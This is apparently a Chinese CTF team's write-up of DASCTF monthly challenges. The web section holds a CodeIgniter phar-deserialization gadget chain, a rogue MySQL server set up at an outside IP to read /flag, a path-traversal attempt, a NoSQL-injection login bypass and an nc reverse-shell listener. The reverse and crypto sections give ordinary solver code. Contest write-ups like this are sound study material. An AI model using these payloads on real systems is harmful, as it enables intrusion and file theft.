终于能在DAS的月赛中拿一个还可以的成绩了!
战队:我们终将被毁灭化作海带 排名:5
web
code4
搜了半天CodeIgniter 4.2.7的漏洞,无果。想着怎么可能呢,没源码根本做不了啊。
然后扫了目录(因为buuctf很少要扫目录的题),还真给我扫出来了
www.zip读源码
学一下路由配置(以前没做过这个框架)https://www.w3cschool.cn/codeigniter4/codeigniter4-7q9v39jn.html
关键在这个Upload.php
<?php
namespace App\Controllers;
use CodeIgniter\Files\File;
class Upload extends BaseController
{
protected $helpers = ['form'];
public function index()
{
return view('upload_form', ['errors' => []]);
}
public function upload()
{
$validationRule = [
'userfile' => [
'label' => 'Image File',
'rules' => 'uploaded[userfile]'
. '|max_size[userfile,100]'
. '|max_dims[userfile,1024,768]',
],
];
if (! $this->validate($validationRule)) {
$data = ['errors' => $this->validator->getErrors()];
return view('upload_form', $data);
}
$img = $this->request->getFile('userfile');
$img_content = file_get_contents($img);
if(preg_match("/HALT_COMPILER/i",$img_content)){
die("hack");
}
$name = $img->getName();
$img->store('',$name);
return view('upload_success');
}
public function info(){
$path = $this->request->getPost('name');
$data = ['uploaded_flleinfo' => new File($path)];
if($data){
return view('upload_info', $data);
}
else{
return "fail";
}
}
}
先是试了一段时间的目录穿越改写文件
$this->move(WRITEPATH . 'uploads/' . $folderName, $fileName);
//name=../../../../etc/passwd
//../../app/upload_info.php
//出不了uploads目录
尝试后发现不能出uploads目录
HALT_COMPILER(这个东西越看越熟悉)
想起来是phar反序列化那个stub!
恰好发现https://blog.csdn.net/qq_48985780/article/details/121252141 讲的是反序列化漏洞。将其payload改变为phar反序列化的payload
<?php
namespace CodeIgniter\Database\MySQLi;
class Connection{
public $hostname='101.43.122.221';
public $port = '3307';
public $database = 'aaa';
public $username = 'root';
public $password = 'root';
public $charset = 'utf8';
}
namespace CodeIgniter;
class Model{
public $db;
public $table = 'hack';
public function __construct($db)
{
# code...
$this->db =$db;
}
}
namespace CodeIgniter\Session\Handlers;
class MemcachedHandler{
public $lockKey ='123';
public $memcached= 'a';
public function __construct($memcached)
{
# code...
$this->memcached =$memcached;
}
}
namespace CodeIgniter\Cache\Handlers;
class RedisHandler{
public $redis;
public function __construct($redis)
{
# code...
$this->redis =$redis;
}
}
$a = new RedisHandler(new \CodeIgniter\Session\Handlers\MemcachedHandler(new \CodeIgniter\Model(new \CodeIgniter\Database\MySQLi\Connection())));
echo serialize($a);
$phar = new \Phar("phar1.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
配置一下服务端 https://github.com/Gifts/Rogue-MySql-Server
在云服务器上git下,改配置
PORT = 3307
log = logging.getLogger(__name__)
log.setLevel(logging.DEBUG)
tmp_format = logging.handlers.WatchedFileHandler('mysql.log', 'ab')
tmp_format.setFormatter(logging.Formatter("%(asctime)s:%(levelname)s:%(message)s"))
log.addHandler(
tmp_format
)
filelist = (
'/flag',
)
python2启动一下。生成mysql.log
使用上面的phar反序列化脚本生成phar文件
┌──(kali㉿kali)-[~/桌面]
└─$ gzip phar.phar
┌──(kali㉿kali)-[~/桌面]
└─$ mv phar.phar.gz 11.gif
┌──(kali㉿kali)-[~/桌面]
└─$ gzip phar1.phar
┌──(kali㉿kali)-[~/桌面]
└─$ mv phar1.phar.gz 12.phar
┌──(kali㉿kali)-[~/桌面]
└─$
gzip加密一下,绕过HALT_COMPILER的检测
http://de6eaf26-3756-469e-bb36-e405d1e5a35c.node4.buuoj.cn:81/index.php/upload 页面上传
http://de6eaf26-3756-469e-bb36-e405d1e5a35c.node4.buuoj.cn:81/index.php/upload/info 页面post传参 name=phar://../writable/uploads/12.phar触发反序列化
看mysql.log
得到flag!
EzNode2
首先是个nosql注入,网上查 https://book.hacktricks.xyz/pentesting-web/nosql-injection
{"username":{"$regex":"."},"password":{"$regex":"."}}
成功登录
然后找到个CVE-2021-32819 https://cloud.tencent.com/developer/article/2035888
随便传个文件,抓个包改改 upload_info.php
跟着文章做,传文件反弹shell
服务器端nc -lvp 33456
re
题目里try必定出错
直接将patch跳转except块得到真正加密函数:
int __cdecl __scrt_is_nonwritable_in_current_image(unsigned int a1, unsigned int *a2, _DWORD *a3)
{
int result;//eax
unsigned int i;//[esp+20h][ebp-28h]
int v5;//[esp+24h][ebp-24h]
unsigned int v6;//[esp+28h][ebp-20h]
unsigned int v7;//[esp+2Ch][ebp-1Ch]
V5=0;
v7 = dword_40F038 ^ *a2;
v6 = dword_40F03C ^ a2[1];
for( i=0 ; i < a1; ++i)
{
v5=(dword_40F000 + v5)^0x1234567;
v7 += (a3[1]+(v6>>5)) ^ (v5+v6) ^ (*a3 + 16*v6);
v6 += (a3[3]+(v7>>5)) ^ (v5+V7) ^ (a3[2] + 16*v7);
}
dword_40F038 = v7;
dword_40F03C = v6;
*a2 = v7;
result 4;
a2[1] = v6;
return result;
}
解密:
#include <cstdio>
unsigned long xor_key[] = { 0x1234567,0x89ABCDEF };
void decrypt(unsigned long* v, unsigned long* k) {
unsigned long y = v[0], z = v[1], sum = 0xC78E4D05;
unsigned long delta = 0x9e3779b1;
unsigned long a = k[0], b = k[1], c = k[2], d = k[3];
for (int i = 31; i >= 0; i--) {
z -= ((y << 4) + c) ^ (y + sum) ^ ((y >> 5) + d);
y -= ((z << 4) + a) ^ (z + sum) ^ ((z >> 5) + b);
/* end cycle */
if ((sum >> 0x1f) == 0) {
sum ^= 0x1234567;
}
sum -= delta;
}
y ^= xor_key[0];
z ^= xor_key[1];
v[0] = y;
v[1] = z;
}
int main()
{
unsigned long enflag[] = { 0x5E27B530,0xBDBEF7F3 ,0xE3516A8F,0x5D836CFE,0x0D83DFA09,0x8EFC737A,0x55A853A3,0x7A564EC5 };
unsigned long ori_enflag[] = { 0x5E27B530,0xBDBEF7F3 ,0xE3516A8F,0x5D836CFE,0x0D83DFA09,0x8EFC737A,0x55A853A3,0x7A564EC5 };
unsigned long key[] = { 0x67452301, 0xEFCDAB89, 0x98BADCFE, 0x10325476 };
printf("flag{") ;
for (int i = 0; i < 4; i++)
{
decrypt(&enflag[i * 2], key);
xor_key[0] = ori_enflag[2 * i]; xor_key[1] = ori_enflag[2 * i +1];
for (int j = 0; j < 4; j++)
{
printf("%c", enflag[i * 2] % 0x100);
enflag[i * 2] >>= 8;
}
for (int j = 0; j < 4; j++)
{
printf("%c", enflag[i * 2 + 1] % 0x100);
enflag[i * 2 + 1] >>= 8;
}
}
printf("}");
}
Crypto
DASCTF11-easy_hash
题目
from Crypto.Util.number import bytes_to_long, long_to_bytes
from zlib import crc32
from secret import *
P = 93327214260434303138080906179883696131283277062733597039773430143631378719403851851296505697016458801222349445773245718371527858795457860775687842513513120173676986599209741174960099561600915819416543039173509037555167973076303047419790245327596338909743308199889740594091849756693219926218111062780849456373
def myhash(x):
res = []
end = b""
bytescipher = long_to_bytes(x)
a = bytescipher[:len(bytescipher) % 8]
res.append(a)
res.append(long_to_bytes(crc32(a)))
t = (len(bytescipher) // 8)
bytescipher = bytescipher[len(bytescipher) % 8:]
for i in range(t):
a = bytescipher[i*8:i*8+8]
res.append(a)
res.append(long_to_bytes(crc32(a)))
for i in res:
end += i
res = bytes_to_long(end)
res = (res + (res >> 500)) & 2**(500)-1
return res
def encode(pt):
a=[]
b=[]
a.append(myhash(pt))
for i in range(3):
a.append(myhash(a[i]))
for j in range(4):
secret=(a[0] + a[1] * a[j] + a[2] * a[j] ** 2 + a[3] * a[j] ** 3) % P
b.append([a[j],secret])
return b
pt = bytes_to_long(flag.encode())
FLAG=encode(pt)
print(FLAG[1])
#[1768672211043417187765307394749760760531160781992300779145800061219666992833602547480090118225665457075744297987672863699370162614965380859290914620736, 89139545215288033432210221492974990584987914397112840989583439688211128705545477536596587262069032020212762581490561288493533363888589066045095054475929099275247145877699370608950340925139625068446642116123285918461312297390611577025368805438078034230342490499137494400676347225155752865648820807846513044723]
分析
题目给了a[1]和对应的secret,那么可以顺势把a[2]和a[3]都用myhash函数计算出来
a2 = myhash(a1)
a3 = myhash(a2)
那么通过secret就可以解出a0
a0 = (c-a3*a1^3-a2*a1^2-a1^2)%p
而由于hash过程当中end字节串当中直接引用了密文,因此这时可以直接从a0对应的字节串内提取到密文。
import libnum
print(libnum.n2s(int(a0)))
#b'DA\xd4\x17\xe9\xf8SCTF{th1\x98\xf8\xa5$s_is_theS\x83\xbf\xc9_fe3st_q\x8f\xa9\xd4\xacuest1on}\x07.B\xce'
DASCTF11-LLLCCCGGG
题目
from Crypto.Util.number import *
key=b'*************'
key=bytes_to_long(key)
key=bin(key)[2:]
n=getPrime(256)
a=[getPrime(256)]
for i in range(1,len(key)):
a.append(a[i-1]*2)
b=getPrime(256)
m=[]
for i in range(len(key)):
m.append((a[i]*b)%n)
s=0
for i in range(len(key)):
s+=m[i]*int(key[i])
seed=s
a = getPrime(300)
b = getPrime(300)
n = getPrime(300)
output = []
for i in range(10):
seed = (a*seed+b)%n
output.append(seed)
print("output = ",output)
print('m=',m)
state=int(key,2)
a=getPrime(256)
b=getPrime(256)
c=getPrime(256)
for _ in range(10**10000):
state = (a * state + b) % c
flag=b'****************************************'
state_md5=hashlib.md5(str(state).encode()).hexdigest()
xorflag=xor(flag,state_md5).hex()
print('a=',a)
print('b=',b)
print('c=',c)
print('xorflag=',xorflag)
如题目名称,题目分为三步
第一步、还原seed
给了10个lcg加密的连续结果,常规恢复
output = []
m= []
o = []
for i in range(6):
o.append(output[i+1]-output[i])
n = gcd(o[3]**2-o[2]*o[4],o[2]**2-o[1]*o[3])
from sympy import *
assert isprime(n)
a = ((output[3]-output[2])*invert(output[2]-output[1],n))%n
a = a+n
b = (output[2]-a*output[1])%n
b = b+n
print(a)
print(b)
for i in range(len(output)-1):
assert (output[i]*a+b)%n == output[i+1]
seed = ((output[0]-b)*invert(a,n)%n)
assert (seed*a+b)%n == output[0]
print(seed)
print(int(586976724958086548483118515325885073647140620756178861571636458283352627548727).bit_length())
第二步、恢复key
题目中利用key二进制的反序与a\b进行加密得到s,所以s/(a*b)=key(反),而m列表中的第一位告诉我们ab的值,所以很容易恢复key
n2 = m[0]*2-m[1]
assert isprime(n2)
ab = m[0]
key = (seed*invert(ab,n2)%n2)
bk = bin(key)[2:]
K = ''
for i in range(len(bk)):
K += bk[len(bk)-1-i]
#print(K)
key = int(K,2)
print(bin(key))
print(bk)
第三步、恢复state_md5
快速幂,二进制过慢,所以这里直接调用了十进制快速幂。
a1= 102146678855348749881681741830301892566150942749854546938156269348575567682569
b1= 57926598868103510549704115342815226386495366694945712679089221082045615713293
c= 79112540456632613121737537841885533313599936328220061653608162113976717833173
f= 0x2079677330734e7d07116d73543d03316c6501555c02403b7201080612101049
m = [[int(23034138398716136759944203988416359252551006421634485284548107234598849849396),int(0)],[int(57926598868103510549704115342815226386495366694945712679089221082045615713293),int(1)]]
M = matrix(m)
m1 = M*M % int(c)
for i in range(8):
m1 = (m1*M)%int(c)
print(m1)
print(matrix_pow(m,10))
def matrix_mul(A, B):
#矩阵乘法函数,返回两个矩阵相乘的值,建议背诵
return [[sum(a * b % c for a, b in zip(col, row)) % c for col in zip(*B)] for row in A]
def matrix_pow(A, n):
n = int(n)
size_ = len(A)
if n == 0:#返回单位矩阵
res = [[0 for _ in range(size_)] for _ in range(size_)]
for i in range(size_):
res[i][i] = 1
return res
elif n == 1:#返回自己
return A
else:
y = matrix_pow(A, n // 2)
if n %2 == 1:#要乘
return matrix_mul(matrix_mul(y, y), A)
return matrix_mul(y, y)#不乘
import hashlib
from Crypto.Util.number import *
for i in range(10000):
m = (matrix_pow(m,10))
print(m)
k = (key*m[0][0]+m[1][0])%c
state_md5=hashlib.md5(str(k).encode()).hexdigest()
print(state_md5)
k = (k*a1+b1)%c
state_md5=hashlib.md5(str(k).encode()).hexdigest()
print(state_md5)
最后使用state_md5逆异或,就可以得到flag啦